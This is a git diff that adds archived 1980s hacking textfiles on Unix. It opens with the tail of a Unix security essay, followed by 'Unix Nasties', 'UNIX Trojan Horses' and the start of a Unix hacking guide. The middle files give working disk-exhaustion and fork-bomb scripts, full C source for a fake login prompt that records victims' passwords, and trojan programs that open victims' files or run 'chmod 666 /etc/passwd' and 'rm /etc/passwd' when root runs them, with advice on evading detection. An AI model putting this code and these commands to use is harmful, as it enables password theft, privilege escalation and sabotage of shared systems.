allocated or in the number of files or directories.Here is a + +particularly ghastly shell sequence guaranteed to stop the system: + + + + + +while : ; do + + mkdir x + + cd x + +done + + + +Either a panic will occur because all the i-nodes on the device are used up, + +or all the disk blocks will be consumed, thus preventing anyone from writing + +files on the device.In this version of the system,users are prevented from + +creating more than a set number of processes simultaneously,so unless users + +are in collusion it is unlikely that any one can stop the system altogether. + + + +However, creation of 20 or so CPU or disk-bound jobs leaves few resources + +available for others.Also, if many large jobs are run simultaneously,swap space + +may run out, causing a panic. It should be evident that excessive consumption + +of diskspace, files, swap space and processes can easily occur accidentally in + +malfunctioning programs as well as at command level.In fact UNIX is essentially + +defenseless against this kind of abuse,nor is there any easy fix.The best that + +can be said is that it is generally fairly easy to detect what has happened + +when disaster strikes ,to identify the user responsible, and take appropriate + +action.In practice,we have found that difficulties in this area are rather + +rare,but we have not been faced with malicious users,and enjoy a fairly + +generous supply of resources which have served to cushion us against accidental + +overconsumption. + + + +The picture is considerably brighter in the area of protection of information + +from unauthorized perusal and destruction.Here the degree of security seems + +(almost) adequate theoretically, and the problems lie more in the necessity for + +care in the actual use of the system.Each UNIX file has associated with it + +eleven bits of protection information together with a user identification + +number and a user-group identification number (UID and GID). + + + +Nine of the protection bits are used to specify independently permission to + +read, to write, and to execute the file to the user himself, to members of the + +user's group, and to all other users.Each process generated by or for a user + +has associated with it an effective UID and a real UID, and an effective and + +real GID.When an attempt is made to access the file for reading, writing, or + +executing UID for the process is changed to the UID associated with the file; + +the change persists until the process terminates or until the UID changed again + +by another execution of a set-UID file.Similarly the effective group ID of a + +process is changed to the GID associated with a file when that file is executed + +and has the set-GID bit set.The real UID and GID of a process do not change + +when any file is executed,but only as the result of a privileged system + +call.The basic notion of the set-UID and set-GID bits is that one may write a + +program which is executableby others and which maintains files accessible to + +others only by that program. + + + +The classical example is the game-playing program which maintains records of + +the scores of its players.The program itself has to read and write the score + +file,but no one but the game's sponsor can be allowed unrestricted access to + +the file lest they manipulate the game to their own advantage. + + + +The solution is to turn on the set-UID bit of the game program. When, and only + +when,it is invoked by players of the game,it may update the score file but + +ordinary programs executed by others cannot access the score. There are a + +number of special cases involved in determining access permissions. Since + +executing a directory as a program is a meaningless operation,the + +execute-permission bit, for directories, is taken instead to mean permission to + +search the directory for a given file during the scanning of a path name; thus + +if a directory has execute permission but no read permission for a given user, + +he may access files with known names in the directory,but may not read (list) + +the entire contents of the directory. + + + +Write permission on a directory is interpreted to mean that the user may create + +and delete files in that directory;it is impossible for any user to write + +directly into any directory..Another, and from the point of view of security, + +much more serious special case is that there is a ``super user'' who is able to + +read any file and write any non-directory.The super-user is also able to change + +the protection mode and the owner UID and GID of any file and to invoke + +privileged system calls.It must be recognized that the mere notion of a + +super-user is a theoretical, and usually practical, blemish on any protection + +scheme. + + + +The first necessity for a secure system is of course arranging that all files + +and directories have the proper protection modes.Traditionally, UNIX software + +has been exceedingly permissive in this regard;essentially all commands create + +files readable and writable by everyone.In the current version,this policy may + +be easily adjusted to suit the needs ofthe installation or the individual user. + + + +Associated with each process and its descendants is a mask, which is in effect + +anded with the mode of every file and directory created by that process. In + +this way, users can arrange that, by default,all their files are no more + +accessible than they wish.The standard mask, set by login,allows all permiss- + +ions to the user himself and to his group,but disallows writing by others. + + + +To maintain both data privacy and data integrity,it is necessary, and largely + +sufficient,to make one's files inaccessible to others. The lack of sufficiency + +could follow from the existence of set-UID programs created by the user and the + +possibility of total breach of system security in one of the ways discussed + +below(or one of the ways not discussed below). + + + +For greater protection,an encryption scheme is available.Since the editor is + +able to create encrypted documents, and the crypt command can be used to pipe + +such documents into the other text-processing programs,the length of time + +during which clear text versions need be available is strictly limited.The + +encryption scheme used is not one of the strongest known, but it is judged + +adequate, in the sense that cryptanalysisis likely to require considerably more + +effort than more direct methods of reading the encrypted files.For example, a + +user who stores data that he regards as truly secret should be aware that he is + +implicitly trusting the system administrator not to install a version of the + +crypt command that stores every typed password in a file. Needless to say, the + +system administrators must be at least as careful as their most demanding user + +to place the correct protection mode on the files under their control. + + + +In particular,it is necessary that special files be protected from writing, and + +probably reading, by ordinary users when they store sensitive files belonging + +to otherusers.It is easy to write programs that examine and change files by + +accessing the device on which the files live. + + + +On the issue of password security,UNIX is probably better than most systems. + +Passwords are stored in an encrypted form which, in the absence of serious + +attention from specialists in the field,appears reasonably secure, provided its + +limitations are understood.In the current version, it is based on a slightl y + +defective version of the Federal DES;it is purposely defective so that + +easily-available hardware is useless for attempts at exhaustive + +key-search.Since both the encryption algorithm and the encrypted passwords are + +available,exhaustive enumeration of potential passwords is still feasible up to + +a point.We have observed that users choose passwords that are easy to + +guess:they are short, or from a limited alphabet, or in a dictionary. + +Passwords should be at least six characters long and randomly chosen from an + +alphabet which includes digits and special characters. + + + +Of course there also exist feasible non-cryptanalytic ways of finding out + +passwords.For example: write a program which types out ``login:''on the + +typewriter and copies whatever is typed to a file of your own. Then invoke the + +command and go away until the victim arrives..The set-UID (set-GID)notion must + +be used carefully if any security is to be maintained. The first thing to keep + +in mind is that a writable set-UID file can have another program copied onto + +it. + + + +For example, if the super-user command is writable,anyone can copy the shell + +onto it and get a password-free version of Shell Unix.A more subtle problem can + +come from set-UID programs which are not sufficiently careful of what is fed + +into them.To take an obsolete example,the previous version of the mail command + +was set-UID and owned by the super-user.This version sent mail to the r + +ecipient's own directory.The notion was that one should be able to send mail to + +anyone even if they want to protecttheir directories from writing. The trouble + +was that mailwas rather dumb:anyone could mail someone else's priva te file to + +himself.Much more seriousis the following scenario: make a file with a line + +like one in the password filewhich allows one to log in as the super-user.Then + +make a link named ``.mail'' to the password file in some writable directory on + +the same device as the password file (say /tmp). Finally mail the bogus login + +line to /tmp/.mail;You can then login as the superuser,clean up the + +incriminating evidence,and have your will. + + + +The fact that users can mount their own disks and tapes as file systems can be + +another way of gaining super-user status.Once a disk pack is mounted, the + +system believes what is on it.Thus one can take a blank disk pack,put on it + +anything desired,and mount it.There are obvious and unfortunate consequences. + +For example:a mounted disk with garbage on it will crash the system;one of the + +files on the mounted disk can easily be a password-free version of Shell Unix; + +other files can be unprotected entries for special files. The only easy fix + +for this problem is to forbid the use of mount to unpriv- ileged users.A + +partial solution, not so restrictive,would be to have the mount command examine + +the special file for bad data,set-UID programs owned by others ,and accessible + +special files,and balk at unprivileged invokers. + + + + + +Scott Walters London, CANADA +walterss@julian.uwo.ca +PGP 31 03 1B E1 C7 6E 3A EC 97 32 01 BA 5B 05 5D FB +finger me for public key block +MIME-mail welcome + +'Beware the fury of a patient man.' + diff --git a/textfiles.com/hacking/UNIX/unix-nas.txt b/textfiles.com/hacking/UNIX/unix-nas.txt new file mode 100644 index 00000000..c8781d63 --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix-nas.txt @@ -0,0 +1,130 @@ + +=============================================================================== + ------------ + Unix Nasties + ------------ + By Shooting Shark + + Written on April 3, 1986 +=============================================================================== + +Summary: Methods of sabotaging your favorite Unix system. + +Preface: I do not advocate utilizing ANY of the methods I put forth in this + file. Unix is a cool operating system, perhaps one of the best + systems ever designed in many respects. If you have access to a Unix + system, you should LEARN UNIX AND LEARN C, because that is where the + money is in the computer world. However, Unix is a relatively + insecure operating system which is easy to fuck up. This file + explains a few ways of doing so. + +Crash The System +---------------- +Unix has no built-in provision for the maximum amount of disk space allowed per +user. Thus, one user can grab all the disk space on the system and effectively +prevent anyone else from writing to the disk. A simple way of grabbing all the +disk space is to create subdirectory after subdirectory until it is no longer +possible. Here are a few ways of doing it. + +1> Create a file with the following lines: + +mkdir subdir +cd subdir +source /u1/mydir/crash + + Call it crash. The last line ("source /u1/mydir/crash") should be altered + so that it will look for the file in your directory. If your directory is + /u3/students/jeff, the last line should say "source + /u3/students/jeff/crash". After you write the above file, type: + +% source crash + + and wait...within a few minutes the program will abort because it won't + have any more room on the disk. Neither will anyone else. + +2> Here's a more elegant way of doing the same thing. Create this "endless + loop" shellscript: + +while : ; do +mkdir subdir +cd subdir +done + + and then "source" the file. If you are in the "sh" shell (if you are, you + will probably have a "$" prompt) you can type "while : ; do" from the $ + prompt. You will then get a > prompt. Type the next three lines and sit + back. + +3> If you'd like to set the process in motion and hang up, and the file is + called crash, type: + +% nohup source crash & + + and log off. This will start it as a background process, allowing you to + log off. However, log off QUICKLY, since if you used the first example for + your crash file, it will also eat up background processes like crazy which + will also fuck up the system to some extent. Which brings us to... + +Slow Down The System Immensely +------------------------------ +There are many ways of doing this, the method being creating a sufficiently +large number of background processes. Here's one specific example. Create a +file called "slow1" with the following lines: + +w & +source slow1 + +create a file called "slow2" with: + +source slow1 & +source slow2 + +and execute slow2 with + +% slow2 +or +% slow2 & + +This will create 25 background processes, each one running 25 background +processes. The system will hardly move after you've got each one running. + +Messing Up A Directory +---------------------- +Many file-handling commands use "-" options. Create a file with a "-" at the +beginning of its name by doing this: + +cat > -filename + +[now type a few lines, maybe something rude like "ha ha you can't delete this +file".] Type a ^D (control-d) to end input. You now have a file called +-filename in your directory. It will be VERY difficult to remove this file. +If you were to try rm (remove) -filename or mv (rename) -filename, the rm or mv +program would interpret -filename as an option, not a file, and would give you +an error message telling you that -filename was not a valid option...thus, the +file stays there obnoxiously. + +Create a couple of hundred files with "-" as the first characters in their +names...it will be a royal pain for the person who is blessed with these new +files, and they will probably just have to get a new login. + +Conclusion + +The use of any of these techniques is quite irresponsible, and if anyone did +this to my Unix system, I'd be quite pissed. That is why I strongly recommend +that you never use these tricks. + +So Long, +Shooting Shark + +"Some people have a bad attitude, and I say, if they want to act tough, beat +'em up!" - Blue Oyster Cult +------------------------------------------------------------------------------- +For more information on UNIX sabotage and cracking, see the following articles: + +Ritchie, Dennis M. [he wrote Unix] "On the Security of UNIX." Programmers +Manual for UNIX System III Volume II. Supplementary Documents. + +Filipski, Alan and Hanko, James. "Making UNIX Secure." BYTE Magazine, April +1986, pp 113-128. +=============================================================================== + diff --git a/textfiles.com/hacking/UNIX/unix-tro.txt b/textfiles.com/hacking/UNIX/unix-tro.txt new file mode 100644 index 00000000..08ea969d --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix-tro.txt @@ -0,0 +1,357 @@ + +------------------ +UNIX Trojan Horses +------------------ + +By Shooting Shark of Tiburon Systems / R0DENTZWARE - 6/26/86 + +Introduction +------------ + + "UNIX Security" is an oxymoron. It's an easy system to brute- +force hack (most UNIX systems don't hang up after x number of login +tries, and there are a number of default logins, such as root, bin, +sys and uucp). Once you're in the system, you can easily bring +it to its knees (see my previous Phrack article, "UNIX Nasty Tricks") +or, if you know a little 'C', you can make the system work for you +and totally eliminate the security barriers to creating your own +logins, reading anybody's files, etcetera. This file will outline +such ways by presenting 'C' code that you can implement yourself. + +Requirements +------------ + You'll need a working account on a UNIX system. It should be +a fairly robust version of UNIX (such as 4.2bsd or AT&T System V) +running on a real machine (a PDP/11, VAX, Pyramid, etc.) for the +best results. If you go to school and have an account on the school +system, that will do perfectly. + +Notes +----- + This file was inspired an article in the April, '86 issue of +BYTE entitled "Making UNIX Secure." In the article, the authors say +"We provide this information in a way that, we hope, is interesting and +useful yet stops short of being a 'cookbook for crackers.' We have +often intentionally omitted details." I am following the general +outline of the article, giving explicit examples of the methods they touched +on. + + An unrelated note: Somewhere there's a dude running around using +the handle "Lord British" (not THE Lord British...). This is a message +for LB: "Fuck off and die." + +Here we go... + +Project One: Fishing For Passwords +----------------------------------- + + You can implement this with only a minimal knowledge of UNIX and +C. However, you need access to a terminal that many people use - +the computer lab at your school, for example. + + When you log onto a typical UNIX system, you see something like this: + +Tiburon Systems 4.2bsd / System V (shark) + + +login: shark +Password: (not printed) + + The program I'm giving you here simulates a logon sequence. You +run the program from a terminal and then leave. Some unknowing fool +will walk up and enter their login and password. It is written to a +file of yours, then "login incorrect" is printed, then the fool is +asked to log in again. The second time it's the real login program. +This time the person succeeds and they are none the wiser. + + On the system, put the following code into a file called 'horse.c'. +You will need to modify the first 8 lines to fit your system's appearance. + + +----- Code Begins Here ----- + +/* this is what a 'C' comment looks like. You can leave them out. */ + +/* define's are like macros you can use for configuration. */ + +define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n" + +/* The above string should be made to look like the message that your + * system prints when ready. Each \n represents a carriage return. + */ + +define LOGIN "login: " + +/* The above is the login prompt. You shouldn't have to change it + * unless you're running some strange version of UNIX. + */ + +define PASSWORD "password:" + +/* The above is the password prompt. You shouldn't have to change + * it, either. + */ + +define WAIT 2 + +/* The numerical value assigned to WAIT is the delay you get after + * "password:" and before "login incorrect." Change it (0 = almost + * no delay, 5 = LONG delay) so it looks like your system's delay. + * realism is the key here - we don't want our target to become + * suspicious. + */ + + +define INCORRECT "Login incorrect.\n" + +/* Change the above so it is what your system says when an incorrect + * login is given. You shouldn't have to change it. + */ + +define FILENAME "stuff" + +/* FILENAME is the name of the file that the hacked passwords will + * be put into automatically. 'stuff' is a perfectly good name. + */ + +/* Don't change the rest of the program unless there is a need to + * and you know 'C'. + */ + +include +include +int stop(); + +main() +{ +char name[10], password[10]; +int i; +FILE *fp, *fopen(); +signal(SIGINT,stop); +initscr(); +printf(SYSTEM); +printf(LOGIN); +scanf("%[^\n]",name); +getchar(); +noecho(); +printf(PASSWORD); +scanf("%[^\n]",password); +printf("\n"); +getchar(); +echo(); +sleep(WAIT); + + +if ( ( fp = fopen(FILENAME,"a") ) != NULL ) { +fprintf(fp,"login %s has password %s\n",name,password); +fclose(fp); +} + +printf(INCORRECT); +endwin(); +} + +stop() +{ +endwin(); +exit(0); +} + + +----- Source Ends Here ----- + + OK, as I said, enter the above and configure it so it looks exactly +like your system's login sequence. To compile this program called +'horse.c' type the following two lines: (don't type the %'s, they are +just a sample prompt) + +% cc horse.c -lcurses -ltermcap +% mv a.out horse + +You now have the working object code in a file called 'horse'. Run it, +and if it doesn't look like your systems logon sequence, re-edit horse.c +and re-compile it. When you're ready to put the program into use, create +a new file and call it 'trap' or something. 'trap' should have these two +commands: + +horse (this runs your program) +login (this runs the real login program) + +to execute 'trap' type: + +% source trap (again, don't type the %) + +and walk away from your terminal... + +After you've run it successfully a few times, check your file called +'stuff' (or whatever you decided to call it). It will look like this: + +user john has password secret +user mary has password smegma +etc. + +Copy down these passwords, then delete this file (it can be VERY +incriminating if the superuser sees it). + +Note - for best results your terminal should be set to time-out after +a few minutes of non-use - that way, your horse program doesn't +run idle for 14 hours if nobody uses the terminal you ran it on. + +----- + +The next projects can be run on a remote system, such as the VAX in +Michigan you've hacked into, or Dartmouth's UNIX system, or whatever. +However, they require a little knowledge of the 'C' language. They're +not something for UNIX novices. + +Project Two: Reading Anybody's Files +------------------------------------- + +When somebody runs a program, they're the owner of the process created +and that program can do anything they would do, such as delete a file +in their directory or making a file of theirs available for reading +by anybody. + +When people save old mail they get on a UNIX system, it's put into +a file called mbox in their home directory. This file can be fun +to read but is usually impossible for anybody but the file's owner +to read. Here is a short program that will unlock (i.e. chmod 777, +or let anybody on the system read, write or execute) the mbox file +of the person who runs the program: + +----- Code Begins Here ----- + +include + +struct passwd *getpwnam(name); +struct passwd *p; +char buf[255]; + +main() +{ +p = getpwnam(getlogin()); +sprintf(buf,"%s/%s",p->pw_dir,"mbox"); +if ( access(buf,0) > -1 ) { + sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox"); + system(buf); + } +} + +----- Code Ends Here ----- + +So the question is: How do I get my target to run this program that's +in my directory? + +If the system you're on has a public-messages type of thing (on +4.xbsd, type 'msgs') you can advertise your program there. Put the +above code in another program - find a utility or game program in +some magazine like UNIX WORLD and modify it and do the above before +it does it's real thing. So if you have a program called tic-tac-toe +and you've modified it to unlock the mbox file of the user before it +plays tic-tac-toe with him, advertise "I have a new tic-tac-toe program +running that you should all try. It's in my directory." or whatever. +If you don't have means of telling everybody on the system via a public +message, then just send mail to the specific people you want to trap. + +If you can't find a real program to modify, just take the above program +and add this line between the two '}' lines at the end of the program: + +printf("Error opening tic-tac-toe data file. Sorry!\n"); + +when the program runs, it will print the above error message. The user +will think "Heh, that dude doesn't know how to write a simple tic-tac- +toe program!" but the joke's on him - you can now read his mail. + +If there's a specific file in a user's directory that you'd like to +read (say it's called "secret") just throw together this general +program: + + +main() +{ +if ( access("secret",0) > -1 ) system("chmod 777 secret"); +} + +then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program +called super_star_wars, will you try it out?" + +You can use your imagination. Think of a command you'd like somebody +to execute. Then put it inside a system() call in a C program and +trick them into running your program! + +Here's a very neat way of using the above technique: + +Project Three: Become the superuser +----------------------------------- + +Write a program that you can get people to run. Put this line in +it somewhere: + +if ( !strcmp(getlogin(),"root") ) system("whatever you want"); + +This checks to see if the root login is running your program. If +he is, you can have him execute any shell command you'd like. +Here are some suggestions: + +"chmod 666 /etc/passwd" + + /etc/passwd is the system's password file. The root owns this +file. Normally, everyone can read it (the passwords are encrypted) +but only the root can write to it. Take a look at it and see how it's +formatted if you don't know already. This command makes it possible +for you to now write to the file - i.e. create unlimited accounts for +yourself and your friends. + +"chmod 666 /etc/group" + + By adding yourself to some high-access groups, you can open many +doors. + +"chmod 666 /usr/lib/uucp/L.sys" + + Look for this file on your system if it is on the uucp net. It +contains dialups and passwords to other systems on the net, and normally +only the uucp administrator can read it. Find out who owns this file +and get him to unknowingly execute a program to unlock it for you. + +"rm /etc/passwd" + + If you can get the root to execute this command, the system's +passwd file will be removed and the system will go down and will +not come up for some time to come. This is very destructive. + +----- + +If you are going to go about adding a trojan horse program to the +system, there are some rules you should follow. If the hidden purpose +is something major (such as unlocking the user's mbox or deleting all +of his files or something) this program shouldn't be a program that +people will be running a lot (such as a popular computer game) - once +people discover that their files are public access the source of the +problem will be discovered quite easily. Save this purpose for a 'test' +program (such as a game you're in the process of writing) that you +ask individual people to run via mail or 'chatting' with them. As I +said, this 'test' program can bomb or print a phony error message after +completing its task, and you will just tell the person "well, I guess +it needs more work", wait until they log off, and then read whatever +file of theirs that you've unlocked. If your trojan horse program's +sole purpose is to catch a specific user running it - such as the +root or other high-powered user - you can put the code to do so +in a program that will be run a lot by various users of the system. +Your modification will remain dormant until he runs it. +If you can't find the source to 'star trek' or whatever in C, just +learn C and convert something from pascal. It can't hurt to learn +C as it's a great language. We've just seen what it can do on a +UNIX system. Once you've caught the root (i.e. you can now modify +the /etc/passwd file) remove the spurious code from your trojan horse +program and you'll never be caught. + +That's it...if you have any questions or comments or you just want +to bitch at me, call this system: + +The Matrix +415/922-2008 +101 megs, IBM warezzz, 2400 baud, Phrack sub-board, etc. + +Lord British, I *dare* you to call. + diff --git a/textfiles.com/hacking/UNIX/unix.001 b/textfiles.com/hacking/UNIX/unix.001 new file mode 100644 index 00000000..47c569ea --- /dev/null +++ b/textfiles.com/hacking/UNIX/unix.001 @@ -0,0 +1,2654 @@ + ************************************************* + ************************************************* + ** ** + ** Unix Use and Security From ** + ** The Ground Up ** + ** ** + ** by ** + ** ** + ** The Prophet ** + ** ** + ** ** + ************************************************* + ************************************************* + +December 5, 1986. + +INTRODUCTION +------------ + The Unix operating system is one of the most heavily used mainframe +operating systems today. It runs on many different computers (Dec VAX's, AT&T's 3bx series, PDP-11's, and just about any other you can think of- including +PC's), and there are many different, but pretty much similar, versions of it. +These Unix clones go by many different names- here are the most common: Xenix, +Ultrix, Ros, IX/370 (for the IBM 370), PCIX (for the IBM PC), and Berkely (BSD) Unix. This file will concentrate on AT&T System V Unix, probably the most heavily used version. (The next most heavily used is Berkely Unix.) This file +will cover just about everything all but THE most advanced hacker will need to +know about the Unix system, from the most rodent information to advanced +hacking techniques. This is the second version of this file, and as I discover +any errors or new tricks, I will update it. This file is, to the best of my +knowledge, totally accurate, however, and the techniques in it will work just +as described herein. Note, that these techniques will work on System V Unix. +Not necessarily all, but most, should work on most other versions of Unix as +well. Later, if this file is received well, and there is demand for another, I +will release a file on yet more advanced techniques. If you wish to contact me, +I can be reached several ways. First, on these boards: + +Shadow Spawn 219-659-1503 +Private Sector 201-366-4431 (As prophet, not The Prophet...some rodent stole + my name.) +Ripco 312-528-5020 +Stalag 13 215-657-8523 +Phreak Klass 2600 806-799-0016 + +Or at this voice message system: + +800-556-7001 +Box 7023 + +I welcome any suggestions, corrections, or feedback of any kind. And lastly, +thanks for taking the time to read this: + +THE USUAL DISCLAIMER: +--------------------- + This file is for [of course] informational purposes only. I +don't take responsibility for anything anyone does after reading this file. +_______________________________________________________________________________ + + +IDENTIFYING UNIX SYSTEMS AND LOGGING IN +--------------------------------------- + A Unix system can easily be identified by its prompts. When you first +connect to a Unix system, you should receive the login prompt, which is usually +"Login:" (Note, that the first character may or may not be capitalized.) On +some systems, this prompt may be ";Login:" or "User:" (Again, the first letter +may or may not be capitalized.) This may be preceded by a short message, +(usually something like "WARNING!!! This system is for authorized users +only!"), the name of the company that owns the system, or the uucp network name of the system. (The uucp facilities will be explained in detail later.) At this point, you should enter the user name and press return. (You should be in +lowercase if your terminal supports it.) You should then receive the password +prompt, "Password:" (And yet again, the "P" may or may not be capitalized.) At +this point, you should enter your password and press return. If you have +specified the correct username/password pair, you will then be admitted into +the system. If you have entered a non-existant username or an incorrect +password, you will receive the message "Login incorrect" and will be returned +to the login prompt. There is little information given before login, and there +is no way to find valid usernames from pre-login information. + There are no "default" passwords in Unix. When the system is initially +set up, none of the default accounts or any of the accounts created by the +system operators has a password, until the system operator or the account owner set one for the account. Often, lazy system operators and unwary users do not +bother to password many (and in some cases, all) of these accounts. To log in +under an account that doesn't have a password, you have only to enter the +username at the login prompt. + You may encounter some occasional error messages when attempting to log in under certain accounts. Here are some of the more common messages, and their causes: + 1. "Unable to change directory to /usr/whatever"-This means that the + account's home directory, the directory which it is placed in + upon logon, does not exist. On some systems, this may prevent + you from logging under that account, and you will be returned + to the login prompt. On other systems, you will simply be + placed in the root directory. If this is the case, you will + see the message "Changing directory to '/'". + 2. "No shell"-this means that the account's shell, or command + interpreter does not exist. On some systems, the account will + not be allowed to log in, and you will be returned to the login + prompt. On other systems, the account will be admitted into the + system using a default shell, usually the Bourne shell. (The + shell will be explained later.) If this is the case, you will + see the message "Using /bin/sh". + + +UNIX ACCOUNTS +------------- + There are two types of Unix accounts-user and superuser accounts. User +accounts are the normal user accounts. These accounts have no privileges. +Superuser accounts are the system operator accounts. These accounts have full +privileges, and are not bound by the file and directory protections of other +users. In Unix, there is no hierarchy of privileges-either an account has full +privileges, or it has none. + Unix usernames are up to 14 characters long, but usually are within the range of 1-8. The usernames can contain almost any characters, including +control and special characters. (The accounts will usually not contain the +characters @, control-d, control-j, or control-x, as these characters have +special meanings to the Unix operating system.) The Unix system comes initially configured with quite a few default accounts, some of which are superuser and +some of which are only user-level accounts. Here is a list of the default +accounts which usually have superuser privileges: + +root (Always!) +makefsys +mountfsys +umountfsys +checkfsys + +The root account is always present on the system, and always has superuser +capabilities. (Note: most Unix System V systems come initially set up with a +security feature that prevents superuser accounts from logging in remotely. If +you attempt to log in under a superuser account remotely on a system with this +feature, you will receive the message "Not on console", and will be refused +admission to the operating system. This will NOT prevent you from using +superuser accounts remotely-you simply have to log in under a user account and +then switch over to a superuser account using the su utility, which will be +described later.) +Here is a list of the user-level default accounts: + +lp +daemon +trouble +nuucp +uucp +bin +rje +adm +sysadm +sync + +The bin account, although it is only a user account, is particularly powerful, +as it has ownership of many of the system's important directories and files. +Although these are the only default accounts on System V Unix, there are many +other accounts which I have found to be common to many Unix systems. Here is a +list of some of the accounts I have found on many Unix systems: + +batch admin user demo test +field unix guest pub public +standard games general student help +gsa tty lpadmin + +Also try variations on the account names, such as rje1, rje2, user1, user2, +etc. Also, try variations on people's names and initials, such as doej, doe, +john, johnd, jjd, etc. + No matter what the format for the usernames, one thing is common to all systems-almost all of the usernames will begin with a lowercase letter. There +is a good reason for this-when logging into the system, if the first character +of the username you type in is in uppr-case, the system automatically assumes +that your terminal does not support lower-case. It will then send all output to you in upper-case, with characters that are supposed to be upper-case preceded +by a backslash ("\", the Unix escape character), to differentiate them from the characters which are meant to be in lower-case. Unix *always* differentiates +between the cases, so it is best to stay in lower-case while on the system. + As mentioned before, there are no "default" passwords on Unix. When an +account is created, it has no password, until the superuser or the account's +owner sets one for it. Unix passwords are a maximum of 11 characters. The +password may contain any character, and the system distinguishes between upper +and lower case characters. Many Unix systems implement a special security +feature under which passwords must contain at least 2 non-alphanumeric +characters (similar to Compuserve's password protection). Yet another password +security feature of Unix allows the superuser to set an expiration date on +users' passwords. + + +COMMAND LOGINS +-------------- + Many systems have accounts known as "command logins". These are +accounts that log in, execute a single command, and are then logged out. These +accounts rarely have passwords. Here is a list of common command logins: + +who -This is a particularly useful command login. When you enter this at + the username of a system with this particular account, the system will + display a list of the users currently on the system. A good way to get + valid usernames to hack. +time -Not very useful. Just displays the time. +date -Ditto the above, but displays the current date. Great if you don't + have a calendar. +sync -This default account is sometimes set up as a command login. It merely + executes the sync command, which causes any data which is meant to be + stored to be written to disk. + +UNIX SPECIAL CHARACTERS +----------------------- + The Unix operating system interprets certain characters in special +ways. Provided here is a list of those special characters, and their meanings +to the Unix operating system: + +Control-D -This is the Unix end-of-file character. +Control-J -Some systems interpret this, rather than Control-M, as the + return character, while others may use both. The vast majority, however, will only use Control-M. +Control-Delete -This is the Unix kill character. It will automatically end + your current process. +@ -Some systems use this as the kill character. +\ -This is the Unix escape character. Its main use it to + differentiate between upper- and lower-case characters when + logged in on a terminal that only supports upper-case. For + instance, if you wanted to send the command "cd /Mrs/data", + (never mind what it does right now), you would type this: + (this is how it would look on your upper-case only terminal) + CD /\MRS/DATA + The backslash before the M would let the system know that the M supposed to be upper-case, while the others would simply be + interpreted as lower-case. + + The characters will rarely be used in usernames and passwords because +of the way they are interpreted. Note, however, that these values may usually +be changed once inside the system using the stty command, which will be +explained later. for instance, the end of file character could be changed to +control-A if you wished. + +THE UNIX SHELL +-------------- + The Unix shell is the command interpreter program that accepts your +input and carries out your commands. It is NOT the operating system itself, it +is the interface between the user and the operating system. The shell is a +program that is executed when you are logged in, and when you end the shell +program, you are logged out of the system. There is nothing special about the +shell program-it is just a regular program, like any other on the Unix system. +In fact, once you are logged on, you can execute another shell just as you +would execute a program. This ability, to run multiple shell levels, can be +used to perform some interesting tricks that will be detailed later in this +file. There is also more than one kind of shell. All the shells perform the +same basic function of interpreting the user's commands, but there are a few +differences. Here is a list of the different shells, their unique +characteristics, and how to tell which shell you are using: + +Shell +----- +sh -This is the Bourne shell, the standard shell of Unix System V, and the + focus of this file. This shell gives user-level accounts a command + prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix, + this shell gives an ampersand ("&") prompt. + +csh -This is the C shell, developed by the Berkely University Science + department. This shell is pretty much the same as the Bourne shell, but + features different shell programming control structures [shell + programming will be explained later, in the section on Unix software + development], and has a few luxuries such as aliasing (giving a command + or a series of commands a new name), and it keeps a history of the + commands you enter. This shell gives a "%" prompt for user accounts and + a "#" prompt for superuser accounts. + +ksh -This is the new, Korn shell. This shell combines features of both the + Bourne shell and the C shell. It boasts the Bourne shell's easier shell + programming, along with the C shell's aliasing and history. Its prompts + are "$" for users and "#" for superusers. + +rsh -This is the restricted Bourne shell. It is used for accounts that the + superuser wishes to restrict the commands available to. It will not + allow you to execute commands outside of your searchpath (which will be + explained later, also, in the section on software development), and + will not let you change directories or change the values of shell + variables. In all other respects, it is similar to the Bourne shell. A + later section of this file will detail ways to overcome the + restrictions of this shell. + +ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Yes, there + are some of those with dialups!) It implements a lousy windowing + system that is SLOOOW, even at 2400 baud. Luckily, you can exit to the + Bourne shell from the ua shell. + + These are by no means all of the shells you will run across. These are +only the "official" shells provided by the distributors of the Unix operating +system. I've run across many "home-made" shells in my time. Also, any compiled +program can be used as a shell. For instance, I've used systems run by +businesses where one account logged in using an accounting program as a shell. +This prevented the account from being used to do anything other than use the +accounting program. Other good examples of this are the command logins-the who +command login, for example, uses the who program as its shell. When the program is finished, the account is logged out. You will most definitely encounter +other such accounts as you hack Unix. + +UNIX FILES AND DIRECTORIES +-------------------------- + Unix files and directories are referenced with pathnames, a la MS-DOS. +If you are familiar with MS-DOs, then you should have no problem understanding +this section. Unix files and directories are referenced in the almost the exact same way-the only difference is that it uses the "/" character, not the +backslash, to separate the directories in the pathname. + Pathnames are a simple concept to understand, but are difficult to +explain. Imagine the system's files and directories laid out in a tree fashion, like this: + / (root directory) + : + : + ------------------------- + : : + : : + usr (dir) bill (dir) + : : + -------------- -------------- + : : : : + junk (file) source (dir) memo (file) names (file) + : + +"/" is the root directory. This is the top directory in the system tree, and +all other files and directories are referenced in relation to this directory. +The root directory has 2 subdirectories in it, "usr" and "bill". In the usr +directory, there is a file called "junk" and an empty directory called +"source". In the directory bill, there are 2 files, "memo" and "names". You +specify pathnames by starting at the top of the system, "/", and tracing your +way down the system tree to the file or directory you wish to reference, +separating each directory you must pass through to get to it with a slash. For +instance, the pathname of the file "junk" would be "/usr/junk". The pathname of the usr directory would be "/usr". The pathname of the source directory would +be "/usr/source". The pathname of the bill directory would be "/bill", and the +pathnames of the 2 files which reside in it would be "/bill/memo" and +"/bill/names". + Files and directories can also be referenced by their base names if +they are in your current directory. For instance, if you were in the directory +"usr", you could reference the file "/usr/junk" by its base name, "junk". If +you were in the root directory, you could reference the bill directory by its +base name, "bill". You can reference the file directly above your current +directory in the system tree as ".." and your current directory can be +referenced as "." + Unix file and directory names can be up to 14 characters in length. The +filename can contain any ASCII character, including control characters, except +a space. It may contain both upper- and lower-case, and Unix does distinguish +between the two. Unix does not use filename extensions, a la VMS or MS-DOS, to +show the kind of file a file is. A period, in Unix, is just another character +in the filename, not a separator between 2 fields in the name. File names which begin with a period are called "hidden" files-that is, they are only revealed +if you issue a special command. + There are 3 kinds of files in Unix. These are text files, binary files, +and device files. Text files are just what you'd think they are from the name- 